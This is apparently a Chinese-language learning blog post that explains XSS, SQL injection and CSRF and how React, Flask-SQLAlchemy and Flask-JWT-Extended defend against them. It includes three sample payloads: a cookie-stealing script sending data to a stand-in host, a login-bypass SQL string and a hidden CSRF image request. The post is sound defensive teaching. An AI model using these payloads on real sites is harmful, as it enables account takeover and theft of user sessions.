今日目標

1. 了解資安攻擊中的 XSS、SQL 注入。
2. 了解資安攻擊中的 CSRF。
3. 了解 React 如何防範 XSS、Flask 如何防範 CSRF、SQL。

• 現在網站保留了許多的個資，若不小心可能會導致數據外洩造成巨大損失，例如電商網站的客戶信用卡資訊被竊取，可能導致上千萬的損失。
• 那麼身為一個轉職仔，也要開始了解一些基本的資安攻擊手法與防範方式。
• 當然因為我們要設計 Member 的相關 API 所以會把重心放在 CSRF 攻擊與防範上。

了解資安攻擊中的 XSS、SQL 注入

XSS(跨站腳本攻擊)

• 定義: 攻擊者在受害者的瀏覽器中執行惡意腳本。
• 危害: 取得用戶數據、偽造用戶操作、竊取用戶 cookie 等。
• 簡單例子：
  • 情境：假設有一個網站允許用戶在留言板上發布留言。該網站未對留言進行過濾、轉義。
  • 攻擊：攻擊者在留言板發布：

    <script>document.location='http://abc.com/api/cookies?cookie='+document.cookie;</script>
    

  • 結果：當其他用戶訪問該留言板時，上述腳本會自動執行，將受害者的 cookies 發送到攻擊者的網站。

SQL Injection (注入攻擊)

• 定義: 攻擊者在應用程序的 SQL 查詢中插入惡意的 SQL 代碼片段。
• 危害: 取得數據庫數據、更改或刪除數據、執行管理操作等。
• 簡單例子：
  • 情境: 假設有一個登入頁面，其中用戶名和密碼直接拼接到 SQL 查詢中，而不是使用參數化查詢。
  • 攻擊: 在「用戶名」欄位中，攻擊者輸入以下內容：

    admin' -- 
    # 並將其拼接到查詢中：
    SELECT * FROM users WHERE username='admin' -- ' AND password='[whatever user entered]'
    

  • 結果: 由於 -- 之後的內容都被視為註釋，所以密碼檢查被忽略，只會匹配 "admin" 用戶名，從而允許攻擊者以 "admin" 的身份登入，無需知道其真實的密碼。

了解資安攻擊中的 CSRF

Cookie 傳送方式：

• 在了解 CSRF 攻擊需要前先了解一下 cookie 的傳送方式。
• 當用戶的瀏覽器訪問一個網站時，它會自動帶上與該網站相關的 cookies。
• 所以如果用戶已登入 A 網站
  • 並且他的瀏覽器被誘導（通過 B 網站）對 A 網站發起一個請求，這個請求會帶上 A 網站的 cookies。

CSRF (跨站請求偽造)

• 定義: 攻擊者誘導受害者的瀏覽器向另一個網站發起非預期的請求。
• 危害: 未授權的操作，如更改密碼、發布內容等。
• 簡單例子：
  • 情境: 假設有一個網站允許已登入的用戶更改其電子郵件地址，且該網站沒有使用 CSRF 令牌。
  • 攻擊: 攻擊者創建一個偽裝的網頁，並誘使受害者訪問。該網頁中包含以下代碼：

    <img src="http://target-website.com/change-email?email=attacker@example.com" width="0" height="0">
    

  • 結果：當受害者訪問偽裝的網頁時，將無意中發送一個請求，將其在目標網站上的電子郵件地址更改為攻擊者指定的地址。

了解 React 如何防範 XSS、Flask 如何防範 CSRF、SQL

• React 如何防範 XSS

  • 默認轉義: React 默認會轉義所有插入到 DOM 中的數據，以防止 XSS。

• Flask 如何防範 SQL 注入

  • 使用 Flask-SQLAlchemy: 參數化查詢，自動防範 SQL 注入。

• Flask 如何防範 CSRF

  • 使用 Flask-JWT-Extended 實現 CSRF 雙重驗證
    • 設置 Token 與 Cookie:
      • 用戶登入時，將 JWT 存儲在 cookie 中。Flask-JWT-Extended 會自動設置另一個 cookie，名為 csrf_access_token（用於存取 tokens）或 csrf_refresh_token（用於刷新 tokens）。
    • 雙重驗證:
      • 當用戶訪問受 JWT 保護的 API 時，Flask-JWT-Extended 會進行雙重驗證：
        • 首先，它會驗證 JWT 本身的有效性。
        • 其次，它會驗證 CSRF cookie 的值與 JWT 中的 CSRF 值是否匹配。
      • 這樣即使惡意網站讓用戶對我們的 API 發送一個請求，導致瀏覽器將我們後端寫入的 cookie 送出，他們也不會知道真正的 CSRF token ，因此無法發起 CSRF 攻擊。

補充

CORS (Cross-Origin Resource Sharing)：

• 主要針對 Ajax 請求，用於控制不同源的網頁如何與伺服器資料互動。
  • 源 (Origin): 一個源的組成是由其協議 (Protocol)、域名 (Domain)、以及端口 (Port) 三部分組成。例如：https://www.example.com:80。
• 簡單說，CORS 就是控制哪些外部來源可以讀取某伺服器提供的 Response。
• 透過設置 CORS Headers 來指定哪些外部源有權訪問其資源：
  • Access-Control-Allow-Origin：設置可以讀取的源。
  • Access-Control-Allow-Credentials：允許跨域請求包含認證憑證，如cookies, HTTP authentication或client-side SSL certificates。
  • Access-Control-Expose-Headers：允許網頁的 JavaScript 讀取 Response 中指定的 Headers。
• 但!
• 普通請求並不會觸發 CORS，也就是說大多數 CSRF 攻擊利用的是普通請求，達到不受 CORS 限制並且能夠附上 cookie 完成操作。
  • 普通請求：如由<img>、<script>或<form>等HTML元素所發起的請求。
• 這也是為什麼有了 CORS 限定後還需要使用 CSRF token 來防範 CSRF 攻擊的原因！

回顧

沒想到光是整理這些內容就花了大半天的時間，但總算讓我對於基本的資訊安全有了那麼一點認識。
當然實際上的攻防還有非常非常多的細節，但這就只能慢慢學了。
最重要的還是需要將這些內容應用到實作上。
只是因為還有其他任務要進行，所以明天再來開始來實作 Login API 吧！

參考資料

讓我們來談談 CSRF
CSRF 攻擊原理. CSRF是一種常見的網路攻擊手法，全名是 Cross Site Request… | by 單細胞 | Medium
什麼是 XSS 攻擊？如何防範？｜ExplainThis
JWT Locations — flask-jwt-extended 4.5.2 documentation
[Day 27] Cross-Origin Resource Sharing (CORS) - iT 邦幫忙::一起幫忙解決難題，拯救 IT 人的一天
資安這條路 10 - [跨站腳本漏洞] Store XSS , Relate XSS , DOM XSS - iT 邦幫忙::一起幫忙解決難題，拯救 IT 人的一天